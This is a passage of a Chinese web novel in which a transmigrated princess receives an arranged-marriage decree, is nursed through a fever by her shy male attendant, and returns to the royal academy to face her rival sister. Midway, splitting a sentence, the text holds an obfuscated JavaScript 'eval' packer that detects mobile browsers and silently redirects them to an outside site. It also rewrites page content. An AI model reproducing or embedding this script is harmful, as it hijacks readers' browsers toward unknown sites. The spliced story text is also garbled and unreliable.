剑招或疾或徐,或刚或柔,凌厉而不失飘逸,每招每式尽显风华。衣袂翻飞间,竟也舞出了几分飒爽英姿。 直到最后一式完成,他长舒一口气,手腕轻旋,正欲收势。 “宋!连!蘅!” 一声爆喝自身后炸响,吓得少年手一抖,桃木剑险些脱手飞去。他刚要脚底抹油开溜,整个人便被揪住衣领,一把提了起来。 “跟你说过多少次了!不准碰这些!整日里舞刀弄枪的,哪里还有个男儿样?!”宋连芜黑着一张脸,眼神像要喷火。 “姐、阿姐……我、我只是……”宋连蘅支支吾吾,有些发怵。 “只是什么?”宋连芜见状,更是气不打一处来,“闲得无聊,所以拿剑来玩玩?说了男儿家习武乃大忌,你偏明知故犯!若被母亲知道,你看她不扒了你的皮!” 宋连蘅缩了缩脖 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宋连蘅一听这个,顿时一个头两个大:“好阿姐,再、再给我一点时间嘛,就一点!我保证,保证很快就做好了!求求你了~” 瞧见宋连芜态度松动,他连忙转移话题,连珠炮似的问道:“对了对了,阿姐!你可见过小五了?你按我教你的说了吗?有没有告诉她,我人不在府上?她……她暂时不会来找我了吧?” 面对一连串的追问,宋连芜只觉得脑仁疼。 “见了见了,我的小祖宗!容你姐先喝口水行不行?为了你这点破事,我跑前跑后,嗓子都快冒烟了。” 宋连蘅立刻殷勤地跟上去,又是倒茶,又是捶背捏肩,一副狗腿至极的模样。宋连芜灌了几口茶,润了润嗓子,这才把扶盈的话大致复述了一遍。 “啊?!”宋连蘅听完,一脸狐疑,“你确定这是小五亲口说的?阿姐你没听错吧?或者……她是不是被马摔傻了?” 那小五平日里就像块甩不掉的狗皮膏药,变着法地缠着他,恨不得把整颗心都掏出来给他看,怎么会突然说出如此通情达理又冷酷无情的话呢? 这次,他被她当街抽了鞭子,害得他不仅皮肉受苦,更成了全宁都百姓茶余饭后的笑料。 回府后,母亲觉得他丢尽了侯府脸面,又是一顿家法伺候,光是想想就觉得屁股隐隐作痛,心里更憋屈得厉害! 宋连芜见状,顺口劝慰了几句:“哎呀,你别想太多了,依我之见,这次未必是假。她看起来挺认真的。” “而且啊,你猜怎么着?这次我邀她去倚阑阁,她竟然都没拒绝,玩得还挺……” 话说一半,宋连芜猛然意识到自己说漏了嘴,连忙用手捂住嘴巴,暗叫一声“糟糕”! “什么?!” 宋连蘅眼睛瞪得溜圆,声音陡然拔高:“你带小五去倚阑阁了?!” “阿姐!你自己没个正形,流连那些地方也就罢了!那种……那种烟花之地,是她一个未成婚的皇女该去的吗?!你这不是把人往歪路上带吗!” “宋连蘅!” 宋连芜霍地站起来:“我们去哪里是我们的自由!轮得到你来说三道四?你不是口口声声说不喜欢人家,嫌人家缠着你吗?现在又摆出这副架势管这么宽作甚?” “怎么,只准你躲着阿盈,不准她找点别的乐子?” 她越说越气,指着弟弟的鼻子训斥:“我看你就是被我和祖父给惯坏了!放眼整个宁都,有哪户人家的男郎像你这般?” “瞧你这幅模样,刁蛮任性,不通男德,日后谁会愿意娶你?怎么寻得好人家?” “如此再好不过!”宋连蘅被骂得也上了火,梗着脖子回顶,“我早就告诉过你们!我并非单单不愿嫁小五!” “我此生此世,绝、不、嫁、人!谁爱嫁谁嫁去!”他一字一句,说得斩钉截铁。 “反了你了!”宋连芜猛然一拍桌子,作势就要抬脚踹他,“惯的你!女大当婚男大当嫁,乃是天经地义!由得你说不嫁就不嫁?” “阿姐,你别光说我啊,你自己不也还没娶夫呢吗?还好意思教训我!”宋连蘅吓得连忙跳开,嘴上却不饶人。 “我是女人!我能一样吗?!”宋连芜被噎得一愣,更是火冒三丈,边吼边追了上去。 “兔崽子你别跑!我看你就是皮痒了!今天非好好给你挠挠痒不可!” 8. 侍疾 扶盈刚踏入府邸大门,便有下人匆匆迎上来,禀报道:“殿下,栖梧姑姑奉旨造访,已在前厅等候多时。” 栖梧乃国主身边得力御侍,地位尊崇。扶盈不敢怠慢,立即吩咐下人更衣,又在镜前仔细整理发冠,确保仪容仪表端庄得体。 准备就绪,她带着星罗和辰砂,一同向前厅行去。 星罗伶俐活泛,行事机敏果决,擅长打理庶务。而辰砂,则是原主府中功夫最深且忠心无二的护卫。 奈何原主自恃武艺高强,常常嫌辰砂亦步亦趋的保护太过烦人,认为是对自己能力的质疑,动辄便寻个由头将她关进柴房。 回忆原主过往的行为,扶盈内心感喟不置,若发生坠马那日有辰砂护卫在侧,兴许这场意外可以避免。 辰砂虽说不善言辞,性子沉闷了些,但忠诚和能力毋庸置疑。倚阑阁遇刺为扶盈敲响了警钟,她的身边,太需要像这样可靠的好手了。 前厅之中,茶香袅袅。 栖梧姑姑肃然危坐,身旁侍立几位小宫娥,手中捧着覆盖黄色绸布的托盘,隐约可见圣旨的轮廓。 “姑姑安好,未能及时相迎,还望您勿要见怪。”扶盈步入厅堂,嘴角扬起恰到好处的浅笑,“许久不见,您风采依旧啊。” 栖梧连忙起身,规规矩矩地回了一礼,脸上也露出了程式化却又不失温和的笑容。 “殿下言重,折煞婢子了。婢子不过是个奉命跑腿的,哪当得起殿下如此夸赞。” “姑姑过谦了,能得您亲自前来,乃是本殿之幸。”扶盈轻轻抬手,示意栖梧入座。 栖梧并未急于入座,而是面色一正:“殿下,婢子此番前来是奉圣上之命宣旨,公务在身,还请殿下即刻接旨。” 扶盈笑容收敛,神情变得端凝。 此情此景,于从前的她而言,是只存在于故事和影视剧中的遥远情节。未曾想有朝一日,自己竟成了这戏中人,亲身跪接这决定命运的旨意。 心中虽有波澜,但她面上不露分毫,依着记忆中的规矩,缓缓跪倒在地。厅内其余人等也早已屏息垂首,跪伏一片。 “奉天承运皇帝,诏曰——”栖梧缓缓展开黄绢,声音清亮而庄重,回荡在大厅之中。 “昭妧帝姬扶盈,才德兼备,英勇无双,与安国九皇子周绥实乃天作之合。今,朕特赐婚于二人,令周绥入赘我朝,择良辰吉日完成大婚之礼,以结两国之好。钦此!” 扶盈双手高举,接过那卷黄绢:“儿臣领旨,叩谢母皇恩典。” 她暗暗庆幸,多亏穿的是个皇女,除国主之外,无需再向其她人行跪拜大礼,这让她的膝盖着实轻松了不少。 “殿下请起,婢子此行任务已毕,这就回宫复命了。”栖梧微微颔首,说着吉祥话,“愿殿下往后与九皇子琴瑟和鸣,百年好合。” 扶盈吩咐星罗好生送姑姑,她目送那一行宫人离去,手中握着微凉的圣旨,一时间感慨万千。 命运似乎总爱开玩笑,在现代时立志做不婚主义的她,穿越后却要稀里糊涂和一个完全陌生的人成婚,还是典型的政治联姻,当真世事无常。 也不知这安国九皇子,到底会是个怎样的人物呢? 思绪飘忽间,她没来由的竟想起了在倚阑阁后院暖池中遇到的神秘男子。 那人性格并不讨喜,态度恶劣,说话难听,但那张脸实在生得绝美,令人惊艳。倒也不完全怪自己当时被药性所惑,犯了回花痴。 旋即她又暗自摇头失笑,将那荒唐一夜的片段甩开。 九皇子大概在立夏之后抵达宁都,算算日子还有将近一个月的光景。 这段时间,她或可再去几趟倚阑阁,打听消息也好,散心也罢,兴许还能再次遇到那个家伙呢? 翌日,扶盈进宫向国主请安,顺道谢恩赐婚旨意。纵然对这门婚事有所不满,可表面功夫还是要做足。 回府途中,她便觉得身子阵阵发沉,头也晕乎乎的。请来太医诊脉,果不其然是染了风寒。 “要是能打个点滴,或者来包感冒灵,该多好啊。”扶盈裹着锦被,小声嘀咕,目光落在面前那碗苦涩发黑的汤药上,眉头紧蹙,满脸抗拒。 “殿下,您要打谁来着?该不是病糊涂了?”星罗听得一头雾水,“殿下,只有乖乖把这药喝了,发发汗,身子才能快点好起来呀。” 扶盈无奈地叹了口气,谁让在这里,除了依靠这些传统的草药汤剂,确实别无他法。 她索性屏住呼吸,仰头将那苦汁一饮而尽,随即从星罗递来的小碟里飞快捻起一颗糖莲子塞进口中。 然而,到了夜里,病势愈发沉重。 扶盈卧于榻上,面容憔悴,双颊泛着异样红晕,呼吸都有些灼热。她半梦半醒,辗转反侧,只觉口干舌燥,周身酸痛不已。 正当她蜷缩着倍感煎熬时,一阵凉爽轻柔的触感悄然拂过额头,伴着清雅香气,带来片刻难得的舒缓。 兰秋白静守床边,满面忧色。他浸湿锦帕,小心拧干,继续为扶盈擦拭脖颈与手心。 随着帕子反复掠过肌肤,扶盈紧蹙的眉头渐渐舒展,呼吸似乎也顺畅了些许。 在迷迷糊糊的昏沉中,她无意识地抬手,虚软的指尖轻轻勾住了那只为她拭汗的手。 兰秋白动作微滞,感受到指尖传来的滚烫触感与温度,耳根悄然泛起点点红晕。他怕惊扰扶盈安寝,未抽回手,只是任由其抓着,另一手仍不辍地为她更换冷帕。 “殿下……”见扶盈辗转难安,兰秋白终是忍不住,俯身轻唤道。 这几乎是他生平第一次,如此毫无阻隔,如此近距离地凝视殿下的容颜。尽管病中略显憔悴苍白,却依然那掩那份天生的轩昂与俊采。 从前觉得她像一把镶满宝石的利刃,只敢看刃的寒光,不敢看宝石的华美。原来,静下来看,她真的很好看。 此刻的殿下,褪去了平日里的疏离与威仪,让他心中涌起一股难以名状的情感,混合着怜惜与悸动。 扶盈睫毛轻颤了几下,随后缓缓睁开双眸。待目光逐渐聚焦,看清眼前人时,她面露讶色,声音因发热而有些沙哑。 “小白?怎么是你……?” “殿下恕罪!”兰秋白慌忙抽回手,起身连退两步,跪倒在床边脚踏上。 他垂首急道:“是侍身惊扰了殿下。殿下染恙,侍身……侍身实在忧心,本应贴身侍奉,又恐举止有失,惹殿下不悦,故而……” 他的声音渐弱,最后近乎喃喃,肩膀也微微蜷起。扶盈先是一怔,旋即明了,这必是原主往日积威所致。 她挤出一抹虚弱笑意,轻声道:“我知你关心我,心意收到了,不会怪罪。往后在我面前,不必如此拘谨害怕。” “是,谢殿下。”兰秋白稍感安心,轻手轻脚上前,为扶盈掖好被角。 扶盈瞧他憨态认真,病中烦闷消散几分,忽生逗趣之心。她侧首轻笑:“小白,杵着作甚?过来坐坐,与我亲近亲近。” 兰秋白一听,白皙面容瞬间浮起慌乱:“殿下,这……于理不合,侍身不敢。殿下金贵之躯,侍身岂敢逾矩,扰了殿下清静……” 见他眼神躲闪,紧张得语无伦次,似将自己视作洪水猛兽,扶盈暗自好笑,面上却故意沉下脸。 “怕什么?我又不吃人。莫非你觉我凶悍,才不敢靠近?” “不、不!殿下误会了!”兰秋白急声解释,额角细汗涔涔,“侍身绝无此心!殿下……殿下自然极好,只是,这般实在不合规矩……”他越说越乱,脸颊涨得通红。 扶盈的恶趣味得以满足,随即温声安抚:“好了小白,莫要如此紧张。我不过是想与你闲话家常几句罢了。” 兰秋白迟疑抬眸,眼神里满是惊讶与难以置信。待看清扶盈神情并无戏谑之意,紧绷的神经方略微松弛。 犹豫片刻,他缓缓挪动脚步,小心翼翼地挨着床边坐下,身子挺得笔直,显得格外拘谨。 扶盈青丝微乱,慵懒斜倚于软榻锦垫之上。 她眸光流转,端详着近在眼前的兰秋白,只觉他气质清雅温润,恰似一株亭亭立于淤泥的青莲,令人不由心生怜意。 兰秋白被她这般毫不掩饰、带着欣赏与玩味的打量弄得羞赧不已。他下意识要低头躲闪,却被那目光中罕见的柔和钉在原地,动弹不得。 不再是以往熟悉的冰冷或暴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405945|184464||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戾,而是带着一种他无法理解的温度,落在他身上,却烫得他心慌。 他感觉自己仿佛一件尘封的古董,突然被主人拂去尘埃,置于灯下细细品鉴。 “殿下,侍身……侍……”他刚欲开口,话音却被扶盈轻伸的一指截断在唇边。 “嘘……”扶盈轻凑近前,鼻翼微动,“你身上熏的什么香?似兰芷清雅,又杂甘松甜香,倒是别有一番韵味。” 兰秋白脸上红晕更甚,似要灼烧起来:“回殿下,或、或是贴身香包之故,并非侍身有意……” 扶盈并未太在意这个答案,脑海中忽地闪过一个更令她好奇的问题。 “小白,我往日待你和松松颇为冷淡,甚至动辄打骂,从未给过好脸色。你难道不讨厌我?” 她歪头看他,直言问道:“为何现在还愿意来照顾我?” “殿下怎会如此想!”兰秋白猛地抬头,脱口而出,甚至忘了尊卑规矩。 “侍身发誓,从未对殿下有过半分怨恨!能侍奉殿下左右,已是侍身之幸。小白心中……心中唯有对殿下的敬慕,无论殿下如何待我,我……我都心甘情愿,绝无怨言。” 话毕,他才意识到自己这番言辞过于直白,顿时满脸羞赧,恨不得找个地缝钻进去。 扶盈先是一怔,随即忍不住轻笑,笑声虽略显低哑,但清脆悦耳。落入兰秋白耳中,却如惊雷乍响,让他瞬间乱了分寸。 “殿下恕罪!侍身失言!” 他起身欲请罪,怎料心慌意乱间脚底打滑,整个人踉跄着朝榻上的扶盈直扑而去。 “啊!” 兰秋白惊骇万分,本能地抬手去撑,慌乱之中,手掌竟不偏不倚按在了一处柔软且弹韧之处。 甚至鬼使神差地轻捏了一下。 他顿时如遭雷击,整个人僵在那里,大脑一片空白。掌心隔着衣料传来的温热触感,似火般炙烤着他的神经。 兰秋白心中暗叫:完了!这次真的死定了! 岂料,被他压在身下的扶盈仅闷哼一声,便低低笑了起来。 “啧……小白,你这是怎么了?方才还说着心甘情愿,转眼就投怀送抱,莫非……是被本殿下给迷住了?” 兰秋白脸红得几乎要滴出血来,手忙脚乱地从扶盈身上爬起,扑通一声又跪回脚踏上。 “回、回殿下,侍身愚笨,一时失态,竟、竟冲撞了您,实在罪该万死,请殿下重重责罚……” 扶盈见他如受惊小鹌鹑般,倒也不忍苛责,只觉又好笑又无奈。她摆摆手:“罢了,起来吧。我知你无心冒犯,别动不动就把死啊死的挂嘴边,多不吉利呀。” 兰秋白闻言,紧绷的肩膀终于松懈,忙道:“谢殿下宽宏……”他起身,手足无措地整理了一下衣襟和袖摆。 “殿下,您病中体虚,又一夜未食,定是饿了。侍身这便去小厨房,为您熬一蛊润肺滋补的雪蛤莲子羹来。” 他此刻只想寻个地方躲起来,生怕再待下去又会惹出事端。见扶盈点头应允,他如得特赦,快步退了出去。 直到站在廊下,清新的空气扑面而来,兰秋白才觉能顺畅呼吸,但心脏仍在胸腔疯狂跳动着。 殿下本就生得极俊俏,神如秋水韵如竹,眸若朗星气若瑚。这认知他早已有之,却从不敢细品。 方才屋内发生的一切,所有细节都在他脑海中反复萦回放大,织成一张无形又致命的网,将他牢牢困住。 他完了。 这个念头比任何一次鞭挞都让他恐惧。 他甚至能清晰地忆起她微散墨发下那段修长的脖颈,寝衣领口处线条优美的精致锁骨,尤其是,掌心猝然触及那隔着丝帛也掩不住的柔软弹韧…… 一股热流猝然自下腹深处窜起,兰秋白呼吸一窒,巨大的羞耻感瞬间淹没了他。 他猛地夹紧双腿,下意识弓起身子,试图将那不合时宜又大逆不道的反应隐藏起来。 “无耻……下贱……”他在心中狠狠咒骂自己。殿下只是病中未曾计较,你怎敢……怎敢生出如此龌龊的念头? 他慌忙垂下眼,不敢再看那寝殿方向,加快脚步,几乎是小跑着躲进了小厨房。 9. 学堂 五更的梆子敲过,天色在青灰中透出微熹。 兰秋白熟练地燃起文火,将泡发好的雪蛤仔细剔除杂质,搭配湘莲红枣一同放入炖盅。他凝神专注于手里的动作,试图压下心底某些颤动。 小厨房里,清甜的香气弥漫开来,汤羹在咕嘟声中渐渐温润。 兰秋白静守灶前,时辰一到,便利落地撇净浮沫,把炖盅置于案上,端起来走向寝殿。 他在门前略定心神,稳了稳呼吸,听得内里传来一声“进”,这才垂眸敛目,推门而入。 室内,扶盈并未安睡,而是执着一卷书,看得出神。那是星罗寻来的民间话本,纸张粗劣,却印着些趣致故事。 原本她还担心看不懂这个时代的文字,不料阅读起来毫无障碍,正好拿来消磨时间。 见兰秋白进来,扶盈懒懒地抬起眼,随口道:“小白,你来喂我。” 兰秋白闻言一怔。殿下自病后……言行举止,似乎与往日大不相同了? 他心中惴惴,只觉眼前之人熟悉又陌生,像隔了一层朦胧的纱,看不真切。 虽思绪纷乱,他仍依言上前,将食案放在床头小几上,端起炖盅,执勺轻轻搅动。待热气稍散,他侧身坐上床沿,小心舀了一勺,倾身递至扶盈唇边。 扶盈目光流连于字里行间,就着他的手微微张口,任由温润甜羹滑入喉间。 直至用了小半盅,胃腹暖融,她才意犹未尽地搁下话本,细细品味起口中残留的清甜甘润。 “不错……”扶盈点点头,眼中漾开真切笑意,“火候恰到好处,清甜不腻,润而不滞。小白,你的手艺又精湛了。” 从前的原主独好甜食,虽不待见兰秋白,却对他这手熬制甜羹的功夫,从未刁难过。 兰秋白却似未曾听见这难得的夸誉,只是默然一勺接一勺地喂着,仿佛一架被设定好程序的机器。 他的目光不时掠过扶盈舒展的眉眼和微翘的唇角,神情怔忡,仿佛陷于某种深沉的思虑,显得有些空茫和呆滞。 扶盈见状,不由又唤了一声。 兰秋白骤然回神,手中羹汤因一时恍惚而滑落,连勺带盅摔得四分五裂,晕开一片狼藉的污渍。 “殿下,我……” 他脸色霎时惨白,几乎是本能地就要屈膝下跪。扶盈眼疾手快,未等他膝盖弯下,已伸手托住他的胳膊。 “无妨,你照顾我一整晚,想必也累了,先回房好好歇息吧。” “是,殿下。” 兰秋白低声应道,默默蹲下身,将地面一点一点收拾干净,方才垂首退去。 一连数日,扶盈安居府内,大门不出二门不迈,倒是享受了一段穿越以来难得的惬意时光。 晨起时,看辰砂在院中练拳,身姿矫健,拳风凌厉,让她十分有安全感。午后,则有星罗蹦跳而来,叽叽喳喳说些市井奇闻和乡野怪谈,为她解闷。 兰秋白更是悉心备至,变着花样为她炖制各种药膳甜羹。就连柳松松见了她,也不再如惊弓之鸟那般,刻意地谄媚逢迎。 在众人或真心或小心的照料下,扶盈自觉脸颊日渐圆润,确是养回了不少好气色。 这日春风和煦,她闲庭信步于自家园中,看着满园桃红柳绿,心情如这春光般明媚舒畅。 “殿下……”星罗的声音自身后响起,打断了她的陶然,“您如今身子既愈,是否该回紫山堂进学?这课业……已耽搁许多时日了。” 扶盈唇角的笑意倏然凝住。 她缓缓转过头,以为自己听错了:“上学?”这二字自齿尖挤出,带着几分难以置信的陌生。 “回殿下,正是。紫山堂乃皇家学府,其中学子非皇亲即贵胄。您身为帝姬,若长期缺席……于礼不合,亦难免惹人议论。” 刹那间,扶盈只觉眼前灼灼盛放的桃李失了颜色,耳畔叽喳啼鸣的春莺也变得聒噪起来。 想她在现代寒窗十几载,本可端着铁饭碗度日,却因痴迷漫画,狠心辞了稳定差事,一头扎进这行当。 这些年摸爬滚打,画技磨得愈发老练,作品也攒了些人气。谁承想一朝穿越,竟又跌回两耳不闻窗外事的旧光景,连画笔都换成了毛锥子。 她试图挣扎一下:“咳……其实我的身子,似乎还未好利索,偶尔仍会头晕乏力……” “殿下,”星罗趋前两步,语重心长地说道,“您莫非忘了?今岁正逢三年一度的皇女大考。此番已是您第二次参与,万万不可再有闪失啊!” “时间紧迫,唯有刻苦勤学,方有望在此次大考中弥补不足,一举过关。若再耽搁上三年,朝中风云变幻,届时即便通过考试,只怕也……” 后面的话星罗未再多言,但意思已然明了。一步落后,步步难追,在这皇权之争中,失了先机,便可能永无立足之地。 扶盈彻底没了赏花观景的心情,默然良久,终是无可奈何地轻叹一声。 她何尝不明白,身为皇女,勤学应考既是本分,更是这吃人世道里谋求自保的根本。可一想到要终日埋首于那些佶屈聱牙的典籍,与艰深晦涩的策论为伍,便觉一个头两个大。 然而念头微转,她初来乍到,对此间的礼法规矩、朝堂局势乃至世情人心的了解都太过浅薄。 入紫山堂进学,或许正是系统通晓这一切,并在这方异世立足的最佳途径。 如此一番自我宽慰,扶盈勉为其难接受了这个安排:“罢了,星罗你去准备吧,明日便恢复去紫山堂进学。” “是,殿下。”星罗唇角掠过一丝不易察觉地欣慰,“婢子这就去。” …… 晨光初破晓,映照着朱红府邸的琉璃瓦熠熠生辉。 府门外,辰砂早已静候多时,身姿笔挺地侍立一旁,手中长剑连鞘皆擦拭得锃亮。 当扶盈的身影出现在门廊深处,她立刻察觉,随即掀开车帘:“殿下,一切就绪,可以动身了。” 车内锦茵叠绣,软褥生香。扶盈斜倚厢壁,半阖的杏眸投下淡淡阴翳。 辰砂手腕轻抖,马鞭在空中甩出一道脆响。马车辘辘驶过长街,朝着紫山堂方向行去。 世人皆道天家贵女养尊处优,却不知自垂髫之年,她们便需经受严苛教化。每日寅时即起,习武强身,修文明理,待年满十二,更需入紫山堂深造。 堂中济济者,除皇室宗亲外,不乏公侯世家之女,亦有五品以上官员经举荐方得送入的千金。 最是难得的,当属那些寒门出身的奇女子。她们虽无家世依仗,却能凭惊世才华,破格踏入这朱门学府。 柳絮顺着金丝软帘的缝隙钻入车内,扶盈懒洋洋打了个哈欠,抬手掀帘望向窗外。 不远处,「紫山堂」三个漆金大字浮着泠泠冷光。门前两尊青铜獬豸威严矗立,利爪下镇压的贪狼石像,早被历代学子摸得光滑发亮。 辰砂手腕一沉,马车平稳停驻。扶盈略整衣襟,缓步下车。 乌木匾额之下,几名布衣学子正低声交谈。忽有人瞥见华盖马车,气氛陡然凝滞。 “是……是昭妧帝姬来了!”声如裂帛,惊碎一池静水。 众人面色骤变,惶惶如见豺虎。不过瞬息,方才还聚作几处的身影已四散奔逃,徒留几册跌落在地的竹筒,于尘土中微微颤动。 扶盈愣了一下,面上掠过一丝无奈。辰砂见状,忙低声道:“寒门学子向来胆怯,殿下勿要介怀。” 扶盈点点头,举步向内行去。熟悉的亭台草木掠过眼帘,每一处都浸着旧日记忆。 这是坠马事件后,亦是她穿越以来,首次在学堂公开露面。她心下明白,这一日,怕是不会如往常那般平静。 果不其然,刚一进门,数名身着朱砂深衣的贵女便迎了上来。她们容貌各异,眼底却藏着如出一辙 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六皇女扶善施施然而至,吊梢眼微挑,语带讥诮:“宁都城谁不知道,五姐心里装的从来只有宋小侯爷?只可惜呵……” 她故意顿住,声调拖得绵长,染上几分虚假的惋叹。 “终究是落花有意,流水无情。这桩婚事,五姐心里怕是比黄连还苦。你们这般贺喜,莫不是要往伤口撒盐?” 话音方落,满堂寂然。世家贵女们或掩袖垂首,或偷眼窥探,再无人敢出声。 谁人不知这对天家姐妹势同水火?六殿下这番仗义执言,语带机锋,表面像是替姐姐抱不平,实则字字藏针,无非是要帝姬当众难堪。 “六妹此言差矣。” 扶盈声色依旧平稳:“天家婚事,从来上承天命,下安社稷。我既为母皇亲封的帝姬,自当恪守圣意,以国体为重。” “倒是六妹今日句句不离宋氏,可是忘了我虞国的律法?” 她忽而抬眸轻笑:“啊,是了。妄议圣裁者,当……杖二十?” “扶!盈!”扶善面色倏地一沉,厉声道,“丢尽我皇室颜面的——是你!” 她原以为只要提及宋连蘅,便能轻易激得扶盈失态,岂料反被对方抓住了话柄。 “堂堂帝姬为个男人寻死,坠马闹得满城风雨!该不会……演的是一出苦肉计?如今倒好,偷鸡不成蚀把米,怕不是真把脑子摔坏了!” “六妹,你又多心了。” 扶盈指尖轻抬,徐徐抚平袖间一道并不存在的褶皱。眼下人多,正是澄清与宋连蘅过往纠葛的良机,也省得日后徒增口舌是非。 “少时确与宋小侯爷有过几分情谊,不过……两国联姻,所系乃家国天下。六妹虽年纪尚轻,这道理总该懂得。” 她音量不高不低,恰到好处传入众人耳中。 “你装模作样!” 扶善恍若被火燎了尾巴的猫,猛地抓起案头茶盏便向扶盈泼去。 “满朝文武谁人不知,那安国皇子根本是个痨病鬼!待到洞房花烛夜,你可仔细些,别叫他咳血染红了你的鸳鸯枕!” 扶盈从容接过身旁递来的绢帕,缓缓拭去手背上的茶渍。 “若有闲情逸致操心我的事,不如多温习几遍《坤舆九章》。” 去年岁评,六皇女将“国士无双”写成“国士无又”的墨宝,至今还挂在紫山堂的惩戒室正中。 此时,那位面容和煦的女子再度开口:“小女以为帝姬所言极是。我朝与安国联姻,实乃两国之幸,百姓之福。我等愿竭力拥护帝姬!” 众人纷纷随之附和:“我等愿竭力拥护帝姬!” 扶善脸色一阵青白,终是冷哼一声:“扶盈,你别太得意!我们走着瞧!” 言罢,她拂袖转身,悻悻而去。廊下雀鸟被脚步声惊起,扑棱着翅膀掠向晴空。